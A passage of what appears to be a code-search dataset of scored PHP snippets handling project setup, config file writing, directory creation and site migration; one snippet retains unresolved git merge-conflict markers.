$project_name);\n\n\n $this->io->write('Setting up .env file');\n $env = file_get_contents(self::ENV_FILE . '.example');\n $env = str_replace('example', $project_name, $env);\n file_put_contents(self::ENV_FILE, $env);\n\n $makefile = file_get_contents(self::MAKE_FILE);\n $makefile = str_replace('frontend_target ?= \"example\"', 'frontend_target ?= \"' . $theme_name . '\"', $makefile);\n file_put_contents(self::MAKE_FILE, $makefile);\n\n $this->io->write('Setting up Drush aliases file');\n $source_filename = self::DRUSH_ALIASES_FOLDER . \"/sitename\" . self::DRUSH_ALIASES_FILE_SUFFIX . \".example\";\n $aliases = file_get_contents($source_filename);\n $aliases = str_replace('sitename', $project_name, $aliases);\n file_put_contents(self::DRUSH_ALIASES_FOLDER . \"/$project_name\" . self::DRUSH_ALIASES_FILE_SUFFIX, $aliases);\n\n $this->io->write('Setting up behat.yml file');\n $behat_yml = file_get_contents('./behat.yml');\n $behat_yml = str_replace('example', $project_name, $behat_yml);\n file_put_contents('./behat.yml', $behat_yml);\n\n $this->io->write('Setting up BackstopJS\\' cookies.json file');\n $backstop = file_get_contents('./tests/functional/backstopjs/backstop_data/engine_scripts/cookies.json');\n $backstop = str_replace('example', $project_name, $backstop);\n file_put_contents('./tests/functional/backstopjs/backstop_data/engine_scripts/cookies.json', $backstop);\n\n $this->io->write('Setting up docker-compose.override.yml');\n copy('./docker-compose.override.yml.dist', './docker-compose.override.yml');\n\n $this->io->write('Setting up phpunit.xml');\n copy('./phpunit.xml.dist', './phpunit.xml');\n\n $this->io->write('Setting up phpcs.xml');\n copy('./phpcs.xml.dist', './phpcs.xml.dist');\n\n $this->io->write('Setting up phpmd.xml');\n copy('./phpmd.xml.dist', './phpmd.xml');\n\n\n return $project_name;\n }", "title": "" }, { "docid": "9d18aa9646cdeeb81f60b430f9de2d82", "score": "0.47576505", "text": "public function handle()\n {\n $new_contents = '';\n $files = File::allFiles('resources/views');\n if( !is_dir('./resources/lang/en/auth') ){ // i had to do this because the auth dir does not work in the loop , i think it is about visibility.\n File::makeDirectory('./resources/lang/en/auth', 0775, true, true);\n }\n\n foreach ($files as $key1 => $file) {\n if( !is_file( './resources/lang/en/'.str_replace('.blade.php','.php', $file->getRelativePathname()) ) ){\n if( !is_dir( './resources/lang/en/'.$file->getRelativePath() ) ){\n if( !File::makeDirectory( './resources/lang/en/'.$file->getRelativePath(), 0775, true, true) ) {\n echo 'error creating folders tree';\n }\n }\n $contents = File::get( './resources/views/'.$file->getRelativePathname() );\n if( $contents != '' ){\n preg_match_all('/__(.*)__/', $contents , $matches);\n $old_values = $matches[0];\n foreach ($old_values as $key2 => $value) {\n $word_key = str_replace(' ','_', strtolower($matches[1][$key2] ) ) ;\n $result[$word_key] = \"'\".$matches[1][$key2].\"',\";\n $id_word = str_replace( array('.blade.php') , array('') , $file->getRelativePathname() );\n if( $key2 == 0){\n $new_contents = str_replace($value , '{{ trans(\"'.$id_word.'.'.$word_key.'\") }}' , $contents );\n }else{\n $new_contents = str_replace($value , '{{ trans(\"'.$id_word.'.'.$word_key.'\") }}' , $new_contents );\n }\n }\n File::put( 'resources/views/'.$file->getRelativePathname() , $new_contents );\n File::put( './resources/lang/en/'.str_replace('.blade.php','.php', $file->getRelativePathname()) ,'<?php return '.str_replace( array('[', ']') , array('\"','\"') , print_r($result,true) ).'; ?>' );\n }\n\n }\n\n }\n }", "title": "" }, { "docid": "f265329196d522a15b07beb82f2cd7f3", "score": "0.47488698", "text": "public function folder($folder)\n {\n $this->config[\"folder\"] = $folder;\n }", "title": "" }, { "docid": "84bd02eafd1ba7d6da25a645fc65c17a", "score": "0.47280496", "text": "public function up()\n {\n $filename = sfConfig::get('sf_app_config_dir') . '/factories.yml';\n $file = file_get_contents($filename);\n \n $search = <<<EOF\ncli:\n controller:\n class: sfConsoleController\n request:\n class: sfConsoleRequest\n response:\n class: sfConsoleResponse\nEOF;\n\n $file = str_replace($search, '', $file);\n \n file_put_contents($filename, $file);\n }", "title": "" }, { "docid": "53f3309cf9dc5658d7b12ce3d5ff36f9", "score": "0.47269782", "text": "protected function setAppFolder($name)\n {\n $this->folder = APPS_DIR . $name;\n if (!is_dir($this->folder)) {\n if (mkdir($this->folder) == true) {\n echo \"Generate backend app \" . $this->app . \" ... \\n\";\n echo \" \\n\";\n } else {\n echo \"Generated app \" . $this->app . \" failed ... \\n\";\n }\n }else{\n echo \"Generated app \" . $this->app . \" already created ... \\n\";\n }\n \n $subfolders = ['control', 'model', 'view', 'assets', 'lang'];\n foreach ($subfolders as $fold) {\n if (!is_dir($this->folder . DS . $fold)) {\n if (mkdir($this->folder . DS . $fold) == true) {\n echo \"folder \" . $this->app . DS . $fold . \", \";\n }\n }\n }\n \n foreach(Configurator::getConfig()->langs->collection as $lang){\n if (!is_dir($this->folder . DS . 'lang' . DS . $lang)) {\n mkdir($this->folder . DS . 'lang' . DS . $lang);\n }\n }\n \n \n echo \" \\n\";\n return $this->folder . DS;\n }", "title": "" }, { "docid": "7a42f0fb5d64bdf4fa70fe50f2b75add", "score": "0.47269228", "text": "function add_homepage(): void {\n $set = Config::current()->set(\"enable_homepage\", false, true);\n\n if ($set === false)\n error(\n __(\"Error\"),\n __(\"Could not write the configuration file.\")\n );\n }", "title": "" }, { "docid": "25587a40cbd25f9d645c91350d4fbf28", "score": "0.47083718", "text": "public function createFolder()\n {\n $path = 'assets/admin/images/profiles';\n if (!file_exists($path)) File::makeDirectory($path, 0775, true, true);\n }", "title": "" }, { "docid": "2b10b9d1a58f75cd08d60aec7caef5e2", "score": "0.47073278", "text": "protected function fixBaseDirectory()\n {\n foreach ($this->config['backup'] as $key => $back) {\n $this->config['backup'][$key]['local'] = $back['local'][0] === '/' ? $back['local'] : LOCAL_MAIN_DIR.'/'.$back['local'];\n }\n }", "title": "" }, { "docid": "8db27ed6006a1d2cfe49f80bc763b592", "score": "0.47060922", "text": "protected function putLang()\n {\n /** @var Translator $trans */\n $trans = app('xe.translator');\n $trans->putFromLangDataSource('board', base_path('plugins/board/langs/lang.php'));\n }", "title": "" }, { "docid": "61e652fc0befe2f8d3a0ef100dc5f12c", "score": "0.4697012", "text": "private static function setWorkingDir()\n {\n chdir(PATH_site);\n }", "title": "" }, { "docid": "6623770600954e10f6dec937bc2a1c96", "score": "0.46935186", "text": "function update_caddyfile(): void {\n $config = Config::current();\n\n if (file_exists(MAIN_DIR.DIR.\"caddyfile\")) {\n $set = caddyfile_conf();\n\n if ($set === false)\n alert(__(\"Failed to write file to disk.\"));\n }\n }", "title": "" }, { "docid": "57a2b50664b3ab2af507f62707b0a93a", "score": "0.46928832", "text": "private function updateFromFile($path, $environment)\n {\n $config = Yaml::parse($path);\n\n if (isset($config['project'])) {\n $this->projectName = $config['project'];\n }\n\n if (isset($config['all'])) {\n $this->loadSettings($config['all']);\n }\n if (isset($config[$environment])) {\n $this->loadSettings($config[$environment]);\n }\n }", "title": "" }, { "docid": "a4a6501f5f90df4f902280c3c33acef2", "score": "0.46905157", "text": "function update_env_by_ID($ID){\n\tglobal $wp_filesystem;\n\t$user = get_user_by('id', $ID);\n\t$filename = get_theme_root() . \"/environment-\" . $user->user_login;\n\tif(file_exists($filename)){\n\t\t$wp_filesystem->delete($filename,true);\n\t\techo \"deleting child id theme...\";\n\t\twp_mkdir_p($filename);\n\t\tcopy_dir(get_template_directory(), $filename);\t\t\t\n\t\techo \"making the new dir...\";\n\t\tchange_name_theme_child($user);\n\t}\n}", "title": "" }, { "docid": "f7a7660fc9aaface3b6b6b7e747d4979", "score": "0.46762884", "text": "protected function version310()\n {\n /*\n * MOVE OLD PACKAGES TO NEW STORAGE FOLDER - START\n */\n $newPackagesPath = Storage::disk('packages')->path('');\n $newStoragePath = realpath(\n $newPackagesPath . '/../'\n );\n\n // If new storage paths dont exist, create them\n if (!File::exists($newPackagesPath)) {\n if (!File::exists($newStoragePath)) {\n File::makeDirectory($newStoragePath, null, true);\n }\n\n File::makeDirectory($newPackagesPath, null, true);\n }\n\n // Move all files to the new folder\n $files = Storage::allFiles('packages');\n if (count($files) > 0) {\n $this->comment('Moving packages from old storage path to new one...');\n $this->comment(Storage::disk('packages')->path(''));\n\n foreach ($files as $file) {\n $matches;\n preg_match('/packages\\/(.*)/', $file, $matches);\n\n $filename = $matches[1];\n $oldPath = storage_path('app/packages/' . $filename);\n $newPath = Storage::disk('packages')->path($filename);\n\n File::move($oldPath, $newPath);\n }\n }\n /*\n * MOVE OLD PACKAGES TO NEW STORAGE FOLDER - END\n */\n }", "title": "" }, { "docid": "9ac6eb1d710f4b192da1fa6c93e1b55e", "score": "0.46733513", "text": "private function makeThemeDirectory()\n {\n $themePath = resource_path('views/themes');\n $this->makeDirectory($themePath);\n }", "title": "" }, { "docid": "386459e6772251e83a1e11fcf3261a72", "score": "0.46712053", "text": "private static function addAppKeyToAppYaml($targetDir)\n {\n $appYaml = str_replace([\n 'YOUR_APP_KEY',\n ], [\n trim(self::execute('php artisan key:generate --show --no-ansi')),\n ], file_get_contents($targetDir . '/app.yaml'));\n file_put_contents($targetDir . '/app.yaml', $appYaml);\n }", "title": "" }, { "docid": "85e48a277228d75cf921df3babe10d06", "score": "0.46674404", "text": "public static function backupAndPreserve()\n {\n rename('.env', '.env.bak');\n copy('.env.behat', '.env');\n }", "title": "" }, { "docid": "6072488df81f609f475c244de88375a5", "score": "0.4666359", "text": "public function getYAMLPath() : string\n {\n return __DIR__.'/../module.yaml';\n }", "title": "" }, { "docid": "c63ffacf66ebd5cdf0690bf9988daaad", "score": "0.46429488", "text": "public function generate()\n {\n $stub = $this->finder->get(__DIR__ . '/../stubs/notifications.blade.stub');\n $this->finder->makeDirectory($this->themePathForFile($this->options['name'], '/views/partials'), 0755, true);\n $this->finder->put($this->themePathForFile($this->options['name'], '/views/partials/notifications.blade.php'), $stub);\n }", "title": "" }, { "docid": "496398a5bb517b90fba5cab56568e781", "score": "0.46081433", "text": "private function createAndSaveKey()\n {\n $key = str_random(32);\n\n $file = settings_path('system.yaml');\n\n $contents = File::get($file);\n\n $contents = \"# The following key has been automatically generated by Statamic.\\napp_key: {$key}\\n\\n{$contents}\";\n\n File::put($file, $contents);\n }", "title": "" }, { "docid": "e1981b15c2f852520547d8226600cf65", "score": "0.46000215", "text": "public static function localSetup(Event $event) {\n /** @var \\Composer\\IO\\IOInterface $io */\n $io = $event->getIO();\n $fs = new Filesystem();\n $root = self::getProjectDocRoot();\n $local_settings_file = \"$root/sites/default/settings.local.php\";\n\n if (!$fs->exists($local_settings_file) && $event->isDevMode() && $io->isInteractive() && $io->askConfirmation('Would you like to setup project locally? <question>[Y,n]</question> ')) {\n\n // Create settings.local.php.\n $fs->copy(\"$root/sites/example.settings.local.php\", $local_settings_file);\n\n // Inject settings.draft.php at the bottom of the local settings file.\n $settings = file_get_contents($local_settings_file);\n $settings .= <<<HERE\n\n// Draft settings. These come last so that they can override anything.\nif (file_exists(\\$app_root . '/' . \\$site_path . '/settings.draft.php')) {\n include \\$app_root . '/' . \\$site_path . '/settings.draft.php';\n}\n\nHERE;\n file_put_contents($local_settings_file, $settings);\n\n // Create own development.services.yml.\n $development_services_file = \"$root/sites/default/development.services.yml\";\n if (!$fs->exists($development_services_file)) {\n $fs->copy(\"$root/sites/development.services.yml\", $development_services_file);\n // Make sure we are using correct services file.\n $settings = file_get_contents($local_settings_file);\n $settings = str_replace(\"/sites/development.services.yml\", \"/sites/default/development.services.yml\", $settings);\n file_put_contents($local_settings_file, $settings);\n }\n\n // Enable TWIG debugging.\n if ($io->askConfirmation('Enable <info>TWIG debugging</info>? <question>[Y,n]</question> ')) {\n $parser = new Parser();\n $config = $parser->parse(file_get_contents($development_services_file));\n $config['parameters']['twig.config'] = [\n 'debug' => TRUE,\n 'cache' => FALSE,\n ];\n\n $yaml = new Dumper(2);\n $fs->dumpFile($development_services_file, $yaml->dump($config, PHP_INT_MAX));\n }\n\n // Disable the render cache.\n if ($io->askConfirmation('Disable <info>render cache</info> (including page cache)? <question>[y,N]</question> ', FALSE)) {\n $settings = file_get_contents($local_settings_file);\n $settings = str_replace(\"# \\$settings['cache']['bins']['render']\", \"\\$settings['cache']['bins']['render']\", $settings);\n file_put_contents($local_settings_file, $settings);\n }\n\n // Disable caching for migrations.\n if ($io->askConfirmation('Disable <info>caching for migrations</info>? <question>[y,N]</question> ', FALSE)) {\n $settings = file_get_contents($local_settings_file);\n $settings = str_replace(\"# \\$settings['cache']['bins']['discovery_migration']\", \"\\$settings['cache']['bins']['discovery_migration']\", $settings);\n file_put_contents($local_settings_file, $settings);\n }\n\n // Disable Dynamic Page Cache.\n if ($io->askConfirmation('Disable <info>Dynamic Page Cache</info>? <question>[y,N]</question> ', FALSE)) {\n $settings = file_get_contents($local_settings_file);\n $settings = str_replace(\"# \\$settings['cache']['bins']['dynamic_page_cache']\", \"\\$settings['cache']['bins']['dynamic_page_cache']\", $settings);\n file_put_contents($local_settings_file, $settings);\n }\n }\n }", "title": "" }, { "docid": "1045cfe0902b0cf360180485466686d4", "score": "0.45923394", "text": "public function run()\n {\n Setting::create([\n 'php_name' => 'php',\n 'docudex_path' => '/var/www/html/php56/docudex',\n 'files_path' => base_path() . '/public/uploads',\n 'config_path' => '/var/www/html/php56/docudex/cbl_config.yml'\n ]);\n }", "title": "" }, { "docid": "80db131a946d949b93a1b1c930053ec6", "score": "0.4591577", "text": "private function createStructure()\n {\n foreach ($this->config->getFolderList() as $folder) {\n $this->helper->createDirectory(self::ROOT_DIRECTORY . '/' . $this->config->packagePath . '/' . $folder);\n }\n }", "title": "" }, { "docid": "69fe98fbf9d67236b0e40b8350e412c6", "score": "0.45889518", "text": "protected function UpdateConfigaration()\n { \n $file = fopen(base_path().'/'.'config/setup.php','w');\n $text = \" <?php \\n\\n/* \\n* Application Setup Done \\n* @Developer: Sm Shahjalal Shaju \\n * Email: [email protected] \\n*/\\n\";\n $text .= \"return[ \\n \\t'version' => '1.0.0',\\n];\"; \n fwrite($file,$text);\n fclose($file);\n\n\n }", "title": "" }, { "docid": "0e5d22a52afd7cd73d6b95737606cb5a", "score": "0.45883325", "text": "function zawiw_share_change_upload_dir( $upload ) {\r\n $upload['subdir'] = '/zawiw-share';\r\n $upload['path'] = $upload['basedir'] . $upload['subdir'];\r\n $upload['url'] = $upload['baseurl'] . $upload['subdir'];\r\n return $upload;\r\n}", "title": "" }, { "docid": "d56dccca592ba9bd22f8ddd59fe41f6c", "score": "0.4587798", "text": "function create_folder(){\n // runs after registration\n }", "title": "" }, { "docid": "53f5eb20cbd474e57cc01089ace08795", "score": "0.45814115", "text": "public function make_desktop_home(){\n\t\t$dir = 'public/json/';\n\t\t$namefile = \"idesktop\";\n\t\t$url = $dir . $namefile. '.json';\n\t\tif(file_exists($url)){\n\t\t\trename($url, $dir . 'r_'.$namefile.'.json');\n\t\t}\n\n\t\t$this->json_desktop();\n\n\t\tif(file_exists($url)){\n\t\t\tunlink($dir . 'r_'.$namefile.'.json');\n\t\t}else{\n\t\t\trename($dir . 'r_'.$namefile.'.json',$url);\n\t\t}\n\t\texit();\n\t\tredirect(base_url().'desktop', 'location', 301);\n\t}", "title": "" }, { "docid": "a3b6e61e434cb2aeab73e54b3f96f657", "score": "0.4573635", "text": "function base_path()\n{\n return __DIR__.'/playground';\n}", "title": "" }, { "docid": "570b33253cbc02bb4d6321181d11efd7", "score": "0.45730692", "text": "protected function setUpRestores()\n {\n @mkdir('restores');\n\n $this->restoreDir = 'restores/' . pathinfo($this->backUpKey)['filename'];\n }", "title": "" }, { "docid": "7e2389b32a701df270b180e70cd2c1fc", "score": "0.45526975", "text": "public function createScaffolding() {\n $this->logHeader('Creating directory structure');\n\n $workingdir = Client::getAbsPath();\n $gitignore = \"*\\n!.gitignore\";\n\n $this->mkdir(\"{$workingdir}/tests/_data\");\n $this->mkdir(\"{$workingdir}/tests/_output\");\n $this->mkdir(\"{$workingdir}/tests/_support\");\n $this->mkdir(\"{$workingdir}/tests/_support/_generated\");\n $this->filePutContents(\"{$workingdir}/tests/_data/.gitkeep\", '');\n $this->filePutContents(\"{$workingdir}/tests/_output/.gitkeep\", '');\n $this->filePutContents(\"{$workingdir}/tests/_output/.gitignore\", $gitignore);\n $this->filePutContents(\"{$workingdir}/tests/_support/_generated/.gitignore\", $gitignore);\n }", "title": "" }, { "docid": "953df5e2fe7235487020fe23e212383a", "score": "0.45475402", "text": "public function updateConfig()\n {\n }", "title": "" }, { "docid": "2d3174f47a784b0e85d6a542518b7c97", "score": "0.4534276", "text": "public function writeConfig()\n {\n if (!$this->shouldWrite()) {\n return;\n }\n\n $this->travisFileContents = $this->twig->render('.travis.yml.dist', $this->settings['travis']);\n $this->travisPhpIniContents = $this->twig->render('.travis.php.ini.dist');\n\n $this->output->writeln(\"\\n<info>Files for Travis integration have been written</info>\");\n }", "title": "" }, { "docid": "5bb8999bcd8aca4df55dc67f9e56790c", "score": "0.4529725", "text": "function recall_template() {\n $template_path = $app->config('templates.path'); //returns \"../templates\"\n return $template_path;\n}", "title": "" }, { "docid": "7270e2bb489aadd5fe60d49131f1c2e3", "score": "0.4527461", "text": "function drush_provision_quickmigrate($platform, $new_uri = NULL) {\n // Purge our local files folder.\n drush_log(\"Quickmigrate: purging local files folders\");\n _provision_recursive_delete(d()->site_path . '/files');\n _provision_recursive_delete(d()->site_path . '/private/files');\n\n // Put the site under maintenance\n provision_backend_invoke('@' . d()->uri, 'vset maintenance_mode 1');\n drush_set_option('new_platform', $platform);\n drush_log(\"Quickmigrate: New platform = $platform\");\n // Move the site folder to another location.\n $site_path = d()->site_path;\n $backup_uri = isset($new_uri) ? $new_uri : d()->uri;\n drush_log(\"Quickmigrate: Backup uri = $backup_uri\");\n // Get the web server we are working with.\n $server = d(d()->platform->web_server);\n $server->shell_exec(\"mv {$site_path}/files /var/aegir/{$backup_uri}_files\");\n $server->shell_exec(\"mv {$site_path}/private/files /var/aegir/{$backup_uri}_private_files\");\n // d()->service('http')->fetch(d()->site_path . '/private/');\n d()->service('http')->fetch(d()->site_path . '/modules/');\n d()->service('http')->fetch(d()->site_path . '/themes/');\n d()->service('http')->fetch(d()->site_path . '/libraries/');\n d()->service('http')->fetch(d()->site_path . '/local.settings.php');\n\n drush_set_option('old_platform', d()->platform->name);\n drush_log(\"Quickmigrate: Old platform = \" . d()->platform->name);\n // Sync things to the local directory.\n\n // If we are renaming the site, pick this up early.\n if (!is_null($new_uri) && ($new_uri != d()->uri)) {\n drush_set_option('target_name', $new_uri);\n }\n else {\n $new_uri = d()->uri;\n // the site url stays the same\n drush_set_option('target_name', '@' . d()->uri);\n }\n $target = drush_get_option('target_name');\n drush_log(\"Quickmigrate: target = $target\");\n $new_path = d($platform)->root . \"/sites/$new_uri\";\n drush_set_option('new_site_path', $new_path);\n drush_log(\"Quickmigrate: new_site_path = $new_path\");\n $old_path = d()->site_path;\n drush_set_option('old_site_path', $old_path);\n drush_log(\"Quickmigrate: old_site_path = $old_path\");\n if (!drush_get_error() && rename($old_path, $new_path)) {\n provision_quickmigrate_save_site(d(), $platform, $target, $new_uri);\n if (!drush_get_error()) {\n provision_backend_invoke($target, 'updatedb');\n provision_backend_invoke($target, 'cc all');\n // @todo This should be moved to hosting_quickmigrate.\n provision_backend_invoke('@hostmaster', 'hosting-import', array($target));\n }\n }\n if (!drush_get_error()) {\n // Verify the platform to get it deployed.\n drush_set_option('provision_save_config', false);\n provision_backend_invoke($target, 'provision-verify');\n }\n}", "title": "" }, { "docid": "fae2501124079db6543093b3d350b607", "score": "0.45194203", "text": "public function testConfigSync() {\n $this->assertSession()->titleEquals('Select an installation profile | Drupal');\n $this->assertSession()->responseNotContains('Use existing configuration');\n\n // Remove the install hook and the option to install from existing\n // configuration will be available.\n unlink(\"{$this->siteDirectory}/profiles/{$this->profile}/{$this->profile}.install\");\n $this->getSession()->reload();\n $this->assertSession()->titleEquals('Select an installation profile | Drupal');\n $this->assertSession()->responseContains('Use existing configuration');\n }", "title": "" }, { "docid": "1eacf98ad2ef0572167883b2ac2b98a3", "score": "0.45131364", "text": "function upload_guests() {\n return WP_CONTENT_DIR . DS . 'themes' . DS . 'blank' . DS . 'images' . DS . 'guests' . DS;\n}", "title": "" }, { "docid": "260294cdb27259564028e671d55356a7", "score": "0.45096293", "text": "public function set() {\n $sourcesDirectory = Variables::BuildDirectory()->get() . \"/sources\";\n if ( is_dir($sourcesDirectory) ) {\n printf(\"Old Sources directory FOUND at [%s]...removing!\\n\", $sourcesDirectory);\n passthru(sprintf(\"rm -rf %s\", $sourcesDirectory));\n }\n }", "title": "" }, { "docid": "96def76384ca76226691214fe4f33307", "score": "0.45089284", "text": "function update_nginx(): void {\n $config = Config::current();\n\n if (file_exists(MAIN_DIR.DIR.\"include.conf\")) {\n $set = nginx_conf();\n\n if ($set === false)\n alert(__(\"Failed to write file to disk.\"));\n }\n }", "title": "" }, { "docid": "ec0a781fde88c7cfb364747176cd8025", "score": "0.45072815", "text": "public function update(Request $request) {\n $in = $request->except('_token');\n $ps = Pagesetting::first();\n $ps->fill($in)->save();\n if ($request->hasFile('background'))\n {\n @unlink('assets/front/images/heroarea-bg.jpg');\n $request->file('background')->move('assets/front/images','heroarea-bg.jpg');\n }\n if ($request->hasFile('testimonial_bg'))\n {\n @unlink('assets/images/testimonials/testimonial_bg.jpg');\n $request->file('testimonial_bg')->move('assets/images/testimonials/','testimonial_bg.jpg');\n }\n if ($request->hasFile('image'))\n {\n @unlink('assets/front/images/heroarea-img.jpg');\n $request->file('image')->move('assets/front/images','heroarea-img.jpg');\n }\n $msg = 'Data Updated Successfully.';\n return response()->json($msg);\n }", "title": "" }, { "docid": "1ed461a908e17c0149420ca23f458138", "score": "0.45069024", "text": "public function setCurrentConfig($content)\n {\n if (!$this->configExists()) {\n throw new \\InvalidArgumentException('The config file does not exist. Did you run the vendor:publish command?');\n }\n $this->filesystem->put($this->getConfigFile(), $content);\n }", "title": "" }, { "docid": "29be922979975bd2f0025b166e72b123", "score": "0.45068714", "text": "public function config(Request $request) {\n $is_valid_request = $this->isValidRequest($request);\n // display view\n $config_path = realpath(base_path('config/package-follower.php'));\n $package_path = realpath(base_path('vendor/foostart/package-follower'));\n\n $config_bakup = realpath($package_path.'/storage/backup/config');\n\n if ($version = $request->get('v')) {\n //load backup config\n $content = file_get_contents(base64_decode($version));\n } else {\n //load current config\n $content = file_get_contents($config_path);\n }\n\n if ($request->isMethod('post') && $is_valid_request) {\n\n //create backup of current config\n file_put_contents($config_bakup.'/package-follower-'.date('YmdHis',time()).'.php', $content);\n\n //update new config\n $content = $request->get('content');\n\n file_put_contents($config_path, $content);\n }\n\n $backups = array_reverse(glob($config_bakup.'/*'));\n\n $this->data_view = array_merge($this->data_view, array(\n 'request' => $request,\n 'content' => $content,\n 'backups' => $backups,\n ));\n\n return view($this->page_views['admin']['config'], $this->data_view);\n }", "title": "" }, { "docid": "83f76d348c0fb35f4f699e3b1cb56214", "score": "0.45036727", "text": "public function run()\n {\n $directory = resource_path('views/pages');\n $files = array_values(array_diff(scandir($directory), ['.', '..']));\n foreach($files as $file){\n Page::create([\n 'name' => str_replace('.blade.php' , '' , $file),\n 'slug' => $file,\n 'path' => 'pages/',\n\n ]);\n }\n }", "title": "" }, { "docid": "be569b502f7174ce77eacedec5067853", "score": "0.45024705", "text": "public function set_home() {\n\n // Validate given item ID\n $id = $this->input->post(\"homepage_item\");\n if (!is_numeric($id) || !$this->menuitem->load($id)) {\n\n XCMS_JSON::validationFailureMessage();\n return;\n\n }\n\n // Save item details\n MenuHelper::unsetHome();\n $this->menuitem->set(\"home\", \"1\");\n $this->menuitem->save();\n\n // Inform user\n XCMS_JSON::modificationSuccessMessage(\n \"The new homepage has been configured succesfully.\"\n );\n\n }", "title": "" }, { "docid": "e4bfa6cd7e8c33befc05b6dd951367c9", "score": "0.44957465", "text": "public function index()\n {\n<<<<<<< HEAD\n// $images = CustomServiceProvider::getStoragePathFileNames('images/home');\n\n $images = [];\n $path = 'images/home';\n foreach (scandir(public_path($path)) as $item) {\n if ($item == '.' or $item == '..') continue;\n $images[] = $path .'/'. $item;\n }\n\n=======\n<<<<<<< HEAD\n=======\n// dump(Auth::guest());\n<<<<<<< HEAD\n>>>>>>> master\n $images = CustomServiceProvider::getStoragePathFileNames('images/home');\n=======\n $images = CustomServiceProvider::getPathFileNames(storage_path('images/home'));\n>>>>>>> master\n>>>>>>> 0147a26da9ff9554c65dbc8412676ff47c4046a5\n return view('home', ['images' => $images]);\n }", "title": "" }, { "docid": "f075983f8cf5afab5d5d3a8be5b01020", "score": "0.44954914", "text": "function storage_path()\n{\n return __DIR__.'/playground/storage';\n}", "title": "" }, { "docid": "dd5b7e131d3ae8b57d79d3d6ce3f656c", "score": "0.44711372", "text": "public function put($name, $value) {\n\t\t$ret = parent::put($name, $value);\n\n\t\tif ($name == \"filesystem.directories\") {\n\t\t\tforeach ($value as $pattern => $overrides) {\n\t\t\t\t$prefix = \"filesystem.directories.\" . $pattern . \".\";\n\n\t\t\t\tforeach ($overrides as $key => $value) {\n\t\t\t\t\tparent::put($prefix . $key, $value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "9b0ce8d75e7dbbbb39066b65419207ad", "score": "0.44709438", "text": "private function lowlevelConfigFix($name)\n {\n $distname = realpath(__DIR__.\"/../../../config/$name.yml.dist\");\n $ymlname = realpath($this->config->getPath('config').\"/\") . \"/$name.yml\";\n\n if (file_exists($ymlname)) {\n return; // Okidoki..\n }\n\n if (!@copy($distname, $ymlname)) {\n $message = sprintf(\"Couldn't create a new <code>%s</code>-file inside <code>%s</code>. Create the file manually by copying\n <code>%s</code>, and optionally make it writable to the user that the webserver is using.\",\n htmlspecialchars($name . \".yml\", ENT_QUOTES),\n htmlspecialchars($this->config->getPath('config'),ENT_QUOTES),\n htmlspecialchars($name . \".yml.dist\", ENT_QUOTES)\n );\n $this->lowlevelError($message);\n }\n\n }", "title": "" }, { "docid": "a6c7fe494e83684a012aeb1a32a2ca7b", "score": "0.44676456", "text": "private function updateConfig(string $config) : void{\n\t\tif(isset(self::CONFIG[$config])){\n\t\t\t$data = [];\n\t\t\tif(is_file($path = $this->getDataFolder().$config)){\n\t\t\t\t$data = yaml_parse_file($path);\n\t\t\t}\n\t\t\tforeach(self::CONFIG[$config] as $key => $value){\n\t\t\t\tif(!isset($data[$key])){\n\t\t\t\t\t$data[$key] = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\tyaml_emit_file($path, $data);\n\t\t}\n\t}", "title": "" }, { "docid": "71fae4f275dcb8d3644876a6ed7270e0", "score": "0.4463346", "text": "private function setDirectoriesFromConfigs(): void\n {\n $this->setTempDir($this->configs['paths']['temp']);\n $this->setLogDir($this->configs['paths']['log']);\n }", "title": "" }, { "docid": "05ee9af9f7e3cdc1f929538a2dc3e5e7", "score": "0.44600204", "text": "public function handle()\n {\n $fileSystem = new Filesystem();\n\n $files = $fileSystem->allFiles(__DIR__.'/../Packages/Starter');\n\n $this->info('These files will be published');\n\n foreach ($files as $file) {\n $this->line(str_replace(__DIR__.'/../Packages/Starter/', '', $file));\n }\n\n $result = $this->confirm('Are you sure you want to overwrite any files of the same name?');\n\n if ($result) {\n $this->line('Copying routes...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/routes', base_path('routes'));\n\n $this->line('Copying config...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/config', base_path('config'));\n\n $this->line('Copying app/Http...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Http', app_path('Http'));\n\n $this->line('Copying app/Events...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Events', app_path('Events'));\n\n $this->line('Copying app/Listeners...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Listeners', app_path('Listeners'));\n\n $this->line('Copying app/Notifications...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Notifications', app_path('Notifications'));\n\n $this->line('Copying app/Models...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Models', app_path('Models'));\n\n $this->line('Copying app/Services...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/app/Services', app_path('Services'));\n\n $this->line('Copying database...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/database', base_path('database'));\n\n $this->line('Copying resources/views...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/resources/views', base_path('resources/views'));\n\n $this->line('Copying tests...');\n $this->copyPreparedFiles(__DIR__.'/../Packages/Starter/tests', base_path('tests'));\n\n $this->line('Adjusting Laravel default files...');\n $this->defaultFileChanger();\n\n $this->info(\"Build something worth sharing!\\n\");\n\n if ($this->confirm('Would you like to run the migration?')) {\n $this->comment('Running command: cd '.base_path().' && composer dump ...');\n\n exec(sprintf('cd %s && composer dump', escapeshellarg(base_path()));\n\n // execute migrate artisan command\n Artisan::call('migrate');\n Artisan::call('db:seed');\n } else {\n $this->info(\"Don't forget to run:\");\n $this->comment('composer dump');\n $this->info('Then:');\n $this->comment('artisan migrate --seed');\n }\n } else {\n $this->info('You cancelled the grafite:starter');\n }\n }", "title": "" }, { "docid": "603c108c0c731e51741b7590f506d901", "score": "0.44547987", "text": "public function onAfterUpdate($previous)\n\t{\n\t\tif (isset($previous['group_name']))\n\t\t{\n\t\t\t$this->set($previous);\n\t\t\t$old_path = $this->getFolderPath();\n\t\t\t$this->restore();\n\n\t\t\t$new_path = $this->getFolderPath();\n\n\t\t\tif ($old_path !== NULL && $new_path !== NULL)\n\t\t\t{\n\t\t\t\t$fs = new Filesystem();\n\t\t\t\t$fs->rename($old_path, 